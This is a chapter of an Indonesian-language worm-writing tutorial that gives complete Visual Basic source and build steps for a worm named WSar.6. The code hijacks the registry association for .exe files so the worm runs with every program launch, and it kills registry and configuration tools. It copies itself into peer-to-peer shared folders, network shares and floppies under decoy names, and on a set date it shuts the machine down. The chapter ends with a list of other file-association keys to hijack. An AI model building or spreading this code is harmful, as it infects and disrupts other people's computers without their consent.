W
orm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file dengan ekstensi tertentu.Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files). Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 me-nutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut.
Metode ini menjadi sangat berguna apabila worm ingin menutup ap-likasi yang tidak memperlihatkan suatu jendela apap-likasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja.
Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.
Bab 12. Worm WSar.6
12.1 ALGORITMA
WSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Worm menyembunyikan dirinya dari task list
3. Kemudian Worm memanipulasi registry dengan tujuan peman-faatan metode Shell Spawning
4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico
5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe
6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network
7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila ap-likasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut
8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan
"WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis
melakukan proses shut down.
12.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.6’
Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Bab 12. Worm WSar.6
Properti object Form1
Jenis Nilai Keterangan
Name frmWSar6 Mengatur nama form menjadi frmWSar6
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar. BorderStyle None Tidak memberikan garis tepi pada form ControlBox False Tidak menggunakan control box
Properti object Timer1
Jenis Nilai Keterangan
Name tmrWinExit Mengatur nama Timer menjadi tmrWinExit Enable True Pastikan Timer akan aktif saat form di-load Interval 500 Setiap instruksi pada procedure Timer akan
dieksekusi setiap setengah detik
Properti object Timer2
Jenis Nilai Keterangan
Name tmrSpreading Mengatur nama Timer menjadi tmrSpread-ing
Enable True Pastikan Timer akan aktif saat form di-load Interval 1000 Setiap instruksi pada procedure Timer akan
Bab 12. Worm WSar.6
Properti object Timer3
Jenis Nilai Keterangan
Name tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable False Pastikan Timer tidak aktif saat form di-load
Interval 100 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik Tag Woooy... kok ngetik
sendiri neeh... Tag ini akan digunakan pada procedure tmrIseng
Properti object Timer4
Jenis Nilai Keterangan
Name tmrIsengLauncher Mengatur nama Timer menjadi tmrIsen-gLauncher
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti Module1
Jenis Nilai Keterangan
Name mdlWinExit Mengatur nama module menjadi mdlWinExit
Properti Module2
Jenis Nilai Keterangan
Name mdlWinFind Mengatur nama module menjadi mdlWinFind
Properti Module3
Jenis Nilai Keterangan
Bab 12. Worm WSar.6
Ketik kode program berikut ini pada module mdlWinExit:
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As Long
Private Const TH32CS_SNAPPROCESS As Long = 2& Private Const MAX_PATH As Integer = 260 Private Type PROCESSENTRY32
dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long
szExeFile As String * MAX_PATH End Type
Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32
Dim hSnap As Long Dim lRet As Long
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj)
lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj)
If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode)
Exit Do End If Loop End Function
Bab 12. Worm WSar.6
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)
Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As Long
Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)
Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)
Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long
Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10
Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128)
k = GetWindowText(hwnd, sName, 128) If k > 0 Then
sName = Left$(sName, k)
If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then
hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function
Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long
sPattern = sWild
If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind
Bab 12. Worm WSar.6
Ketik kode program berikut ini pada object frmWSar6:
'WSar.6 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long
Private SF As String * 255 Dim bilangan As Integer Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell (Spawning), vbNormalFocus
If App.PrevInstance = True Then End InfectSystem()
End Sub
Private Sub InfectSystem() On Error Resume Next
FileCopy(WormFile, SpecialFolder(1) & "\loadsys.exe")
SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadsys.exe %1")
End Sub
Private Sub InfectNet() On Error Resume Next Dim networm As String Dim i, nr, nrnd As Integer Dim fsos Dim fso Dim netdrv fsos = CreateObject("Scripting.FileSystemObject") fso = CreateObject("WScript.Network") netdrv = fso.EnumNetworkDrives Dim NV(5) As String NV(0) = "readit" NV(1) = "playit" NV(2) = "launchit" NV(3) = "startit" NV(4) = "buncit" Randomize() nr = Int(Rnd * 999) nrnd = Int(Rnd * 5)
Bab 12. Worm WSar.6
If netdrv.Count <> 0 Then For i = 0 To netdrv.Count - 1
If InStr(netdrv.Item(i), "\") <> 0 Then
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm))
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm))
End If Next End If End Sub
Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1
SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0
End If
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() End Sub
Bab 12. Worm WSar.6 Private Sub tmrIsengLauncher_Timer()
On Error Resume Next
If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then
If WinFind("*pad*", False) <> 0 Or WinFind("*word*", False) <> _ 0 Then
tmrIseng.Enabled = True End If
End If End Sub
Private Sub tmrSpreading_Timer() On Error Resume Next
If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then
Call PerToPer() End If
If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then
Call InfectNet() End If
If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then
Call InfectFloppy() End If
End Sub
Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe") End Sub
Private Sub PerToPer() On Error Resume Next Dim wormname As String Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of " Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"
Bab 12. Worm WSar.6
Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi" Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize()
wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7))
Dim P2P(1 To 7) As String Dim w As Integer
P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7
If Len(Dir$(P2P(w), vbDirectory)) <> 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If
Next End Sub
Private Function SpecialFolder(ByVal value) On Error Resume Next
Dim FolderValue As String If value = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If
If value = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If
SpecialFolder = FolderValue End Function
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer
Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman."
Bab 12. Worm WSar.6 NamaCantik(4) = "tom n jerry."
NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then
FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End If
End Sub
Private Sub PayLoad() On Error Resume Next
MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows")
End Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path
If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If
WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Berikut penjelasan tentang kode program:
Pada procedure Form_Load, worm mengatur agar saat load, worm se-cara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut:
worm [filename]
Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini:
loadsys c:\windows\notepad.exe
Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.
Bab 12. Worm WSar.6
Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\ shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe".
Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggu-nakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents.
Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetik-kan tombol huruf tertentu pada keyboard, dan akhirnya amengetik-kan mem-bentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...".
Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad.
Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer.
Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menun-jukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy.
Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit. Procedure PerToPer akan membuat salinan worm di setiap direktori de-fault aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi.
Bab 12. Worm WSar.6
Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan
"WSar.6 Ada Pada Komputer Anda" dan langsung mematikan
kom-puter.
Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada
registry yang bisa digunakan untuk metode Shell Spawning:
Ekstensi Lokasi Key
EXE HKEY_CLASSES_ROOT\exefile\shell\open\command BAT HKEY_CLASSES_ROOT\batfile\shell\open\command HTA HKEY_CLASSES_ROOT\htafile\shell\open\command PIF HKEY_CLASSES_ROOT\piffile\shell\open\command COM HKEY_CLASSES_ROOT\comfile\shell\open\command GIF HKEY_CLASSES_ROOT\giffile\shell\Open\command HTML HKEY_CLASSES_ROOT\htmlfile\shell\open\command HTT HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command INF HKEY_CLASSES_ROOT\inffile\shell\open\command INI HKEY_CLASSES_ROOT\inifile\shell\open\command JPEG HKEY_CLASSES_ROOT\jpegfile\shell\Open\command MID HKEY_CLASSES_ROOT\MIDFile\shell\open\command MP3 HKEY_CLASSES_ROOT\mp3file\shell\open\command MPEG HKEY_CLASSES_ROOT\mpegfile\shell\open\command REG HKEY_CLASSES_ROOT\regfile\shell\open\command RTF HKEY_CLASSES_ROOT\rtffile\shell\open\command SCR HKEY_CLASSES_ROOT\scrfile\shell\open\command VBS HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command WMA HKEY_CLASSES_ROOT\wmafile\shell\open\command TXT HKEY_CLASSES_ROOT\txtfile\shell\open\command
Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\ CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:
Bab 12. Worm WSar.6
Ekstensi Lokasi Key
EXE HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\
shell\open\command
TXT HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\
shell\open\command
Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut.
Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command()
Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus
If App.PrevInstance = True Then End InfectSystem()
End Sub
Private Sub InfectSystem() On Error Resume Next
FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe")
SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1") End Sub
Bab 13. Worm WSar.7